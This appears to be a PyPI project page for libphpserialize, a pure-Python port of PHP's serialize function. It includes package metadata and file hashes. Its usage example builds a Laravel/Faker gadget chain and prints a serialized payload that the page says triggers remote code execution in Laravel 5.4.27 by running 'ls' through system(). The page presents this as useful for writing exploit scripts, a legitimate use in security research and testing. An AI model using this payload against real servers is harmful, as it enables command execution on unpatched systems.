A port of PHP's serialize function, in pure python
Project description
libphpserialize
A port of PHP's serialize function, in pure python
Features
- serialize objects directly from python objects
- nested objects
- namespacing
- variable Access Modifiers (public, private, protected)
Example
from phpserialize import serialize
from phpserialize.decorators import namespace
import requests
@namespace('Faker')
class Generator:
protected_formatters = {'dispatch': 'system'}
@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
protected_event = 'ls'
protected_events = Generator()
print(serialize(PendingBroadcast()))
with above code, you'll get:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}
which triggers an RCE vulnerability in Laravel 5.4.27
nice when you're writing an exploit script for others to read
Important:
- the code is written and tested under python 3.7+
- decimal serialization doesn't work the same as PHP does, yet
TODO
- recursive objects support
- reimplement decimal precision calculating algorithm from php engine
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
libphpserialize-0.0.4.tar.gz
(4.4 kB
view details)
Built Distribution
File details
Details for the file libphpserialize-0.0.4.tar.gz
.
File metadata
- Download URL: libphpserialize-0.0.4.tar.gz
- Upload date:
- Size: 4.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/4.6.1 pkginfo/1.6.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.10
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | c222bf0104774d159228f57be43cef5c66591221a467b74ef345334e087169df |
|
MD5 | 21d86aa749f078a4901b751f409e6535 |
|
BLAKE2b-256 | e07970a131455be943d0d5e3232677630a838ce355ebd012eb534eb55f3fad4b |
File details
Details for the file libphpserialize-0.0.4-py3-none-any.whl
.
File metadata
- Download URL: libphpserialize-0.0.4-py3-none-any.whl
- Upload date:
- Size: 5.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.4.1 importlib_metadata/4.6.1 pkginfo/1.6.1 requests/2.26.0 requests-toolbelt/0.9.1 tqdm/4.60.0 CPython/3.9.10
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 581bab4ec4b005d7af5eab59395d647ff0c52923feb2329863f38ffd144ed750 |
|
MD5 | 2545f9c0df2f6efd9f471c4be3594364 |
|
BLAKE2b-256 | 840b989d99b2e4108450854275a40268e983d15dcc7fab87e7aaaa77b8226e84 |